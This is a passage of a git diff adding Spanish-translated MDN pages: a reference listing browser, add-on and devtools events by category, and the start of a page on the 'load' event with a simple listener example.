+   <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip is about to be hidden.</td>
+  </tr>
+  <tr>
+   <td>{{event("popupshowing")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip is about to become visible.</td>
+  </tr>
+  <tr>
+   <td>{{event("popupshown")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip has become visible.</td>
+  </tr>
+  <tr>
+   <td>{{event("RadioStateChange")}}</td>
+   <td> </td>
+   <td>XUL</td>
+   <td>The state of a <code>radio</code> has been changed either by a user action or by a script (useful for accessibility).</td>
+  </tr>
+  <tr>
+   <td>{{event("ValueChange")}}</td>
+   <td> </td>
+   <td>XUL</td>
+   <td>The value of an element has changed (a progress bar for example, useful for accessibility).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Eventos_específicos_de_complementos">Eventos específicos de complementos</h3>
+
+<table class="standard-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <th class="header" style="width: 220px;">Nombre del eveto</th>
+   <th class="header" style="width: 90px;">Tipo de evento</th>
+   <th class="header" style="width: 100px;">Especificación</th>
+   <th class="header">Se activa al...</th>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozSwipeGesture">MozSwipeGesture</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A touch point is swiped across the touch surface</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureStart">MozMagnifyGestureStart</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points start to move away from each other.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureUpdate">MozMagnifyGestureUpdate</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points move away from each other (after a MozMagnifyGestureStart).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozMagnifyGesture">MozMagnifyGesture</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points moved away from each other (after a sequence of MozMagnifyGestureUpdate).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozRotateGestureStart">MozRotateGestureStart</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points start to rotate around a point.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozRotateGestureUpdate">MozRotateGestureUpdate</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points rotate around a point (after a MozRotateGestureStart).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozRotateGesture">MozRotateGesture</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points rotate around a point (after a sequence of MozRotateGestureUpdate).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozTapGesture">MozTapGesture</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points are tapped on the touch surface.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozPressTapGesture">MozPressTapGesture</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A "press-tap" gesture happened on the touch surface (first finger down, second finger down, second finger up, first finger up).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozEdgeUIGesture">MozEdgeUIGesture</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A touch point is swiped across the touch surface to invoke the edge UI (Win8 only).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozAfterPaint">MozAfterPaint</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>Content has been repainted.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozBeforeResize">MozBeforeResize</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A window is about to be resized.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMPopupBlocked">DOMPopupBlocked</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A popup has been blocked</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMWindowCreated">DOMWindowCreated</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A window has been created.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMWindowClose">DOMWindowClose</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A window is about to be closed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMTitleChanged">DOMTitleChanged</a></td>
+   <td> </td>
+   <td><em>Addons specifc</em></td>
+   <td>The title of a window has changed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMLinkAdded">DOMLinkAdded</a></td>
+   <td> </td>
+   <td><em>Addons specifc</em></td>
+   <td>A link has been added a document.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMLinkRemoved">DOMLinkRemoved</a></td>
+   <td> </td>
+   <td><em>Addons specifc</em></td>
+   <td>A link has been removed inside from a document.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMMetaAdded">DOMMetaAdded</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A <code>meta</code> element has been added to a document.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMMetaRemoved">DOMMetaRemoved</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A <code>meta</code> element has been removed from a document.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMWillOpenModalDialog">DOMWillOpenModalDialog</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A modal dialog is about to open.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMModalDialogClosed">DOMModalDialogClosed</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A modal dialog has been closed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMAutoComplete">DOMAutoComplete</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>The content of an element has been auto-completed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMFrameContentLoaded">DOMFrameContentLoaded</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>The frame has finished loading (but not its dependent resources).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/AlertActive">AlertActive</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A <code><a href="/en-US/docs/XUL/notification">notification</a></code> element is shown.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/AlertClose">AlertClose</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A <code><a href="/en-US/docs/XUL/notification">notification</a></code> element is closed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/fullscreen">fullscreen</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>Browser fullscreen mode has been entered or left.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/sizemodechange">sizemodechange</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>Window has entered/left fullscreen mode, or has been minimized/unminimized.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozEnteredDomFullscreen">MozEnteredDomFullscreen</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td><a href="/en-US/docs/DOM/Using_full-screen_mode">DOM fullscreen</a> mode has been entered.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSWindowClosing">SSWindowClosing</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>The session store will stop tracking this window.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSTabClosing">SSTabClosing</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>The session store will stop tracking this tab.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSTabRestoring">SSTabRestoring</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A tab is about to be restored.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSTabRestored">SSTabRestored</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been restored.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSWindowStateReady">SSWindowStateReady</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A window state has switched to "ready".</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSWindowStateBusy">SSWindowStateBusy</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A window state has switched to "busy".</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/tabviewsearchenabled">tabviewsearchenabled</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>The search feature of Panorama has been activated</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/tabviewsearchdisabled">tabviewsearchdisabled</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>The search feature of Panorama has been deactivated</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/tabviewframeinitialized">tabviewframeinitialized</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>The frame container of Panorama has been initialized</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/tabviewshown">tabviewshown</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>The Panorama tab has been shown</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/tabviewhidden">tabviewhidden</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>The Panorama tab has been hidden</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabOpen">TabOpen</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been opened.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabClose">TabClose</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been closed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabSelect">TabSelect</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been selected.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabShow">TabShow</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been shown.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabHide">TabHide</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been hidden.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabPinned">TabPinned</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been pinned.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabUnpinned">TabUnpinned</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been unpinned.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Eventos_específicos_de_la_herramienta_para_desarrolladores">Eventos específicos de la herramienta para desarrolladores</h3>
+
+<table class="standard-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <th class="header" style="width: 220px;">Event Name</th>
+   <th class="header" style="width: 90px;">Event Type</th>
+   <th class="header" style="width: 100px;">Specification</th>
+   <th class="header">Fired when...</th>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/CssRuleViewRefreshed">CssRuleViewRefreshed</a></td>
+   <td> </td>
+   <td><em>devtools specific</em></td>
+   <td>The "Rules" view of the style inspector has been updated.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/CssRuleViewChanged">CssRuleViewChanged</a></td>
+   <td> </td>
+   <td><em>devtools specific</em></td>
+   <td>The "Rules" view of the style inspector has been changed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/CssRuleViewCSSLinkClicked">CssRuleViewCSSLinkClicked</a></td>
+   <td> </td>
+   <td><em>devtools specific</em></td>
+   <td>A link to a CSS file has been clicked in the "Rules" view of the style inspector.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Categorías">Categorías</h2>
+
+<h3 id="Eventos_de_Animación">Eventos de Animación</h3>
+
+<p>{{event("animationend")}}, {{event("animationiteration")}}, {{event("animationstart")}}, {{event("beginEvent")}}, {{event("endEvent")}}, {{event("repeatEvent")}}</p>
+
+<h3 id="Eventos_de_Batería">Eventos de Batería</h3>
+
+<p>{{event("chargingchange")}}, {{event("chargingtimechange")}}, {{event("dischargingtimechange")}}, {{event("levelchange")}}</p>
+
+<h3 id="Eventos_de_Llamadas">Eventos de Llamadas</h3>
+
+<p>{{event("alerting")}}, {{event("busy")}}, {{event("callschanged")}}, {{event("cfstatechange")}}, <a href="/en-US/docs/DOM/onconnected">onconnected</a> {{event("connected")}}, {{event("connecting")}}, {{event("dialing")}}, {{event("disconnected")}}, {{event("disconnecting")}}, {{event("error_(Telephony)","error")}}, {{event("held")}}, {{event("holding")}}, {{event("incoming")}}, {{event("resuming")}}, {{event("statechange")}}, {{event("voicechange")}}</p>
+
+<h3 id="Eventos_CSS">Eventos CSS</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/CssRuleViewRefreshed">CssRuleViewRefreshed</a>, <a href="/en-US/docs/Web/Reference/Events/CssRuleViewChanged">CssRuleViewChanged</a>, <a href="/en-US/docs/Web/Reference/Events/CssRuleViewCSSLinkClicked">CssRuleViewCSSLinkClicked</a>, {{event("transitionend")}}</p>
+
+<h3 id="Eventos_de_Bases_de_datos">Eventos de Bases de datos</h3>
+
+<p><code><a href="/en-US/docs/Web/Reference/Events/abort_indexedDB">abort</a></code>, <code><a href="/en-US/docs/Web/Reference/Events/blocked_indexedDB">blocked</a></code>, <code><a href="/en-US/docs/Web/Reference/Events/complete_indexedDB">complete</a></code>, {{event("error")}}, <code><a href="/en-US/docs/Web/Reference/Events/success_indexedDB">success</a></code>, <code><a href="/en-US/docs/Web/Reference/Events/upgradeneeded_indexedDB">upgradeneeded</a></code>, <code><a href="/en-US/docs/Web/Reference/Events/versionchange_indexedDB">versionchange</a></code></p>
+
+<h3 id="Eventos_de_Documento">Eventos de Documento</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/DOMLinkAdded">DOMLinkAdded</a>, <a href="/en-US/docs/Web/Reference/Events/DOMLinkRemoved">DOMLinkRemoved</a>, <a href="/en-US/docs/Web/Reference/Events/DOMMetaAdded">DOMMetaAdded</a>, <a href="/en-US/docs/Web/Reference/Events/DOMMetaRemoved">DOMMetaRemoved</a>, <a href="/en-US/docs/Web/Reference/Events/DOMWillOpenModalDialog">DOMWillOpenModalDialog</a>, <a href="/en-US/docs/Web/Reference/Events/DOMModalDialogClosed">DOMModalDialogClosed</a>, {{event("unload")}}</p>
+
+<h3 id="Eventos_de_mutación_DOM">Eventos de mutación DOM</h3>
+
+<p>code&gt;<a href="/en-US/docs/DOM/Mutation_events">DOMAttributeNameChanged</a>, <code><a href="/en-US/docs/DOM/Mutation_events">DOMAttrModified</a></code>, <code><a href="/en-US/docs/DOM/Mutation_events">DOMCharacterDataModified</a></code>, {{event("DOMContentLoaded")}}, <code><a href="/en-US/docs/DOM/Mutation_events">DOMElementNameChanged</a></code>, <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInserted</a></code>, <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInsertedIntoDocument</a></code>, <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemoved</a></code>, <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemovedFromDocument</a></code>, <code><a href="/en-US/docs/DOM/Mutation_events">DOMSubtreeModified</a></code></p>
+
+<h3 id="Eventos_de_Arrastre">Eventos de Arrastre</h3>
+
+<p>{{event("drag")}}, <code>dragdrop</code>, {{event("dragend")}}, {{event("dragenter")}}, <code>dragexit</code>, <code>draggesture</code>, {{event("dragleave")}}, {{event("dragover")}}, {{event("dragstart")}}, {{event("drop")}}</p>
+
+<h3 id="Eventos_de_Elemento">Eventos de Elemento</h3>
+
+<p>{{event("invalid")}}, {{event("overflow")}}, {{event("underflow")}}", <a href="/en-US/docs/Web/Reference/Events/DOMAutoComplete">DOMAutoComplete</a>, {{event("command")}}, {{event("commandupdate")}}</p>
+
+<h3 id="Eventos_de_Foco">Eventos de Foco</h3>
+
+<p>{{event("blur")}}, {{event("change")}}, <code>DOMFocusIn</code>, <code>DOMFocusOut</code>, {{event("focus")}}, {{event("focusin")}}, {{event("focusout")}}</p>
+
+<h3 id="Eventos_de_Formulario">Eventos de Formulario</h3>
+
+<p>{{event("reset")}}, {{event("submit")}}</p>
+
+<h3 id="Eventos_de_Fotograma">Eventos de Fotograma</h3>
+
+<p>{{event("mozbrowserclose")}}, {{event("mozbrowsercontextmenu")}}, {{event("mozbrowsererror")}}, {{event("mozbrowsericonchange")}}, {{event("mozbrowserlocationchange")}}, {{event("mozbrowserloadend")}}, {{event("mozbrowserloadstart")}}, {{event("mozbrowseropenwindow")}}, {{event("mozbrowsersecuritychange")}}, {{event("mozbrowsershowmodalprompt")}}, {{event("mozbrowsertitlechange")}}, <a href="/en-US/docs/Web/Reference/Events/DOMFrameContentLoaded">DOMFrameContentLoaded</a></p>
+
+<h3 id="Eventos_de_dispositivo_de_entrada">Eventos de dispositivo de entrada</h3>
+
+<p>{{event("click")}}, {{event("contextmenu")}}, {{event("DOMMouseScroll")}}, {{event("dblclick")}}, {{event("gamepadconnected")}}, {{event("gamepaddisconnected")}}, {{event("keydown")}}, {{event("keypress")}}, {{event("keyup")}}, {{event("MozGamepadButtonDown")}}, {{event("MozGamepadButtonUp")}}, {{event("mousedown")}}, {{event("mouseenter")}}, {{event("mouseleave")}}, {{event("mousemove")}}, {{event("mouseout")}}, {{event("mouseover")}}, {{event("mouseup")}}, {{event("mousewheel")}}, {{event("MozMousePixelScroll")}}, {{event("pointerlockchange")}}, {{event("pointerlockerror")}},{{event("wheel")}}</p>
+
+<h3 id="Eventos_de_Medios">Eventos de Medios</h3>
+
+<p>{{event("audioprocess")}}, {{event("canplay")}}, {{event("canplaythrough")}}, {{event("durationchange")}}, {{event("emptied")}}, {{event("ended")}}, {{event("ended_(Web_Audio)", "ended")}}, {{event("loadeddata")}}, {{event("loadedmetadata")}}, {{event("MozAudioAvailable")}}, {{event("pause")}}, {{event("play")}}, {{event("playing")}}, {{event("ratechange")}}, {{event("seeked")}}, {{event("seeking")}}, {{event("stalled")}}, {{event("suspend")}}, {{event("timeupdate")}}, {{event("volumechange")}}, {{event("waiting")}}, {{event("complete")}}</p>
+
+<h3 id="Eventos_de_Menú">Eventos de Menú</h3>
+
+<p>{{event("DOMMenuItemActive")}}, {{event("DOMMenuItemInactive")}}</p>
+
+<h3 id="Eventos_de_Red">Eventos de Red</h3>
+
+<p>{{event("datachange")}}, {{event("dataerror")}}, {{event("disabled")}}, {{event("enabled")}}, {{event("offline")}}, {{event("online")}}, {{event("statuschange")}}, {{event("connectionInfoUpdate")}},</p>
+
+<h3 id="Eventos_de_Notificación">Eventos de Notificación</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/AlertActive">AlertActive</a>, <a href="/en-US/docs/Web/Reference/Events/AlertClose">AlertClose</a></p>
+
+<h3 id="Eventos_Popup">Eventos Popup</h3>
+
+<p>{{event("popuphidden")}}, {{event("popuphiding")}}, {{event("popupshowing")}}, {{event("popupshown")}}, <a href="/en-US/docs/Web/Reference/Events/DOMPopupBlocked">DOMPopupBlocked</a></p>
+
+<h3 id="Eventos_de_Impresión">Eventos de Impresión</h3>
+
+<p>{{event("afterprint")}}, {{event("beforeprint")}}</p>
+
+<h3 id="Eventos_de_Progreso">Eventos de Progreso</h3>
+
+<p><code><a href="/en-US/docs/Web/Reference/Events/abort_(ProgressEvent)">abort</a></code>, {{event("error")}}, <code><a href="/en-US/docs/Web/Reference/Events/load_(ProgressEvent)">load</a></code>, {{event("loadend")}}, {{event("loadstart")}}, {{event("progress")}}, <code><a href="/en-US/docs/Web/Reference/Events/progress_(appcache_event)">progress</a></code>, {{event("timeout")}}, <code>uploadprogress</code></p>
+
+<h3 id="Eventos_de_Recursos">Eventos de Recursos</h3>
+
+<p>{{event("abort")}}, {{event("cached")}}, {{event("error")}}, {{event("load")}}</p>
+
+<h3 id="Eventos_de_Secuencia_de_Comandos">Eventos de Secuencia de Comandos</h3>
+
+<p>{{event("afterscriptexecute")}}, {{event("beforescriptexecute")}}</p>
+
+<h3 id="Eventos_de_Sensor">Eventos de Sensor</h3>
+
+<p>{{event("compassneedscalibration")}}, {{event("devicelight")}}, {{event("devicemotion")}}, {{event("deviceorientation")}}, {{event("deviceproximity")}}, {{event("MozOrientation")}}, {{event("orientationchange")}}, {{event("userproximity")}}</p>
+
+<h3 id="Eventos_del_Historial_de_sesión">Eventos del Historial de sesión</h3>
+
+<p>{{event("pagehide")}}, {{event("pageshow")}}, {{event("popstate")}}</p>
+
+<h3 id="Eventos_de_Tarjeta_de_memoria">Eventos de Tarjeta de memoria</h3>
+
+<p>{{event("icccardlockerror")}}, {{event("iccinfochange")}}, {{event("smartcard-insert")}}, {{event("smartcard-remove")}}, {{event("stkcommand")}}, {{event("stksessionend")}}, {{event("cardstatechange")}}</p>
+
+<h3 id="Eventos_SMS_y_USSD">Eventos SMS y USSD</h3>
+
+<p>{{event("delivered")}}, {{event("received")}}, {{event("sent")}}, {{event("ussdreceived")}}</p>
+
+<h3 id="Eventos_de_almacenamiento">Eventos de almacenamiento</h3>
+
+<p>{{event("change")}}, {{event("storage")}}</p>
+
+<h3 id="Eventos_SVG">Eventos SVG</h3>
+
+<p>{{event("SVGAbort")}}, {{event("SVGError")}}, {{event("SVGLoad")}}, {{event("SVGResize")}}, {{event("SVGScroll")}}, {{event("SVGUnload")}}, {{event("SVGZoom")}}</p>
+
+<h3 id="Eventos_de_Pestañas">Eventos de Pestañas</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/tabviewsearchenabled">tabviewsearchenabled</a>, <a href="/en-US/docs/Web/Reference/Events/tabviewsearchdisabled">tabviewsearchdisabled</a>, <a href="/en-US/docs/Web/Reference/Events/tabviewframeinitialized">tabviewframeinitialized</a>, <a href="/en-US/docs/Web/Reference/Events/tabviewshown">tabviewshown</a>, <a href="/en-US/docs/Web/Reference/Events/tabviewhidden">tabviewhidden</a>, <a href="/en-US/docs/Web/Reference/Events/TabOpen">TabOpen</a>, <a href="/en-US/docs/Web/Reference/Events/TabClose">TabClose</a>, <a href="/en-US/docs/Web/Reference/Events/TabSelect">TabSelect</a>, <a href="/en-US/docs/Web/Reference/Events/TabShow">TabShow</a>, <a href="/en-US/docs/Web/Reference/Events/TabHide">TabHide</a>, <a href="/en-US/docs/Web/Reference/Events/TabPinned">TabPinned</a>, <a href="/en-US/docs/Web/Reference/Events/TabUnpinned">TabUnpinned</a>, <a href="/en-US/docs/Web/Reference/Events/SSTabClosing">SSTabClosing</a>, <a href="/en-US/docs/Web/Reference/Events/SSTabRestoring">SSTabRestoring</a>, <a href="/en-US/docs/Web/Reference/Events/SSTabRestored">SSTabRestored</a>, {{event("visibilitychange")}}</p>
+
+<h3 id="Eventos_de_Texto">Eventos de Texto</h3>
+
+<p>{{event("compositionend")}}, {{event("compositionstart")}}, {{event("compositionupdate")}}, {{event("copy")}}, {{event("cut")}}, {{event("paste")}}, {{event("select")}}, <code>text</code></p>
+
+<h3 id="Eventos_de_Toque">Eventos de Toque</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/MozEdgeUIGesture">MozEdgeUIGesture</a>, <a href="/en-US/docs/Web/Reference/Events/MozMagnifyGesture">MozMagnifyGesture</a>, <a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureStart">MozMagnifyGestureStart</a>, <a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureUpdate">MozMagnifyGestureUpdate</a>, <a href="/en-US/docs/Web/Reference/Events/MozPressTapGesture">MozPressTapGesture</a>, <a href="/en-US/docs/Web/Reference/Events/MozRotateGesture">MozRotateGesture</a>, <a href="/en-US/docs/Web/Reference/Events/MozRotateGestureStart">MozRotateGestureStart</a>, <a href="/en-US/docs/Web/Reference/Events/MozRotateGestureUpdate">MozRotateGestureUpdate</a>, <a href="/en-US/docs/Web/Reference/Events/MozSwipeGesture">MozSwipeGesture</a>, <a href="/en-US/docs/Web/Reference/Events/MozTapGesture">MozTapGesture</a>, <a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchDown</a>, <a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchMove</a>, <a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchUp</a>,4 {{event("touchcancel")}}, {{event("touchend")}}, {{event("touchenter")}}, {{event("touchleave")}}, {{event("touchmove")}}, {{event("touchstart")}}</p>
+
+<h3 id="Eventos_de_Actualización">Eventos de Actualización</h3>
+
+<p>{{event("checking")}}, {{event("downloading")}}, {{event("error")}}, {{event("noupdate")}}, {{event("obsolete")}}, {{event("updateready")}}</p>
+
+<h3 id="Eventos_de_Cámbio_de_valor">Eventos de Cámbio de valor</h3>
+
+<p>{{event("broadcast")}}, {{event("CheckboxStateChange")}}, {{event("hashchange")}}, {{event("input")}}, {{event("RadioStateChange")}}, {{event("readystatechange")}}, {{event("ValueChange")}}</p>
+
+<h3 id="Eventos_de_Visualización">Eventos de Visualización</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/fullscreen">fullscreen</a>, {{event("fullscreenchange")}}, {{event("fullscreenerror")}}, <a href="/en-US/docs/Web/Reference/Events/MozEnteredDomFullscreen">MozEnteredDomFullscreen</a>, {{event("MozScrolledAreaChanged")}}, {{event("resize")}}, {{event("scroll")}}, <a href="/en-US/docs/Web/Reference/Events/sizemodechange">sizemodechange</a></p>
+
+<h3 id="Eventos_de_Websocket">Eventos de Websocket</h3>
+
+<p><code><a href="/en-US/docs/Web/Reference/Events/close_websocket">close</a></code>, {{event("error")}}, <code><a href="/en-US/docs/Web/Reference/Events/message_websocket">message</a></code>, <code><a href="/en-US/docs/Web/Reference/Events/open_websocket">open</a></code></p>
+
+<h3 id="Eventos_de_Ventana">Eventos de Ventana</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/DOMWindowCreated">DOMWindowCreated</a>, <a href="/en-US/docs/Web/Reference/Events/DOMWindowClose">DOMWindowClose</a>, <a href="/en-US/docs/Web/Reference/Events/DOMTitleChanged">DOMTitleChanged</a>, <a href="/en-US/docs/Web/Reference/Events/MozBeforeResize">MozBeforeResize</a>, <a href="/en-US/docs/Web/Reference/Events/SSWindowClosing">SSWindowClosing</a>, <a href="/en-US/docs/Web/Reference/Events/SSWindowStateReady">SSWindowStateReady</a>, <a href="/en-US/docs/Web/Reference/Events/SSWindowStateBusy">SSWindowStateBusy</a>, <a href="/en-US/docs/Web/Reference/Events/close_event">close</a></p>
+
+<h3 id="Eventos_sin_categorizar">Eventos sin categorizar</h3>
+
+<p>{{event("beforeunload")}}, {{event("localized")}}, <code><a href="/en-US/docs/Web/Reference/Events/message_webworker">message</a></code>, <code><a href="/en-US/docs/Web/Reference/Events/message_webmessaging">message</a></code>, <code><a href="/en-US/docs/Web/Reference/Events/message_serversentevents">message</a></code>, <a href="/en-US/docs/Web/Reference/Events/MozAfterPaint">MozAfterPaint</a>, {{event("moztimechange")}}, <code><a href="/en-US/docs/Web/Reference/Events/open_serversentevents">open</a></code>, {{event("show")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Event")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Events">Event developer guide</a></li>
+</ul>
diff --git a/files/es/web/events/load/index.html b/files/es/web/events/load/index.html
new file mode 100644
index 0000000000..f38e214839
--- /dev/null
+++ b/files/es/web/events/load/index.html
@@ -0,0 +1,125 @@
+---
+title: load
+slug: Web/Events/load
+tags:
+  - Evento
+translation_of: Web/API/Window/load_event
+---
+<p>El evento <code>load</code> se dispara cuando un recurso y sus recursos dependientes han terminado de cargar.</p>
+
+<p> </p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 class="brush: html" id="Window">Window</h3>
+
+<pre class="brush: html">&lt;script&gt;
+  window.addEventListener("load", function(event) {
+    console.log("'Todos los recursos terminaron de cargar!");
+  });
+&lt;/script&gt;</pre>
+
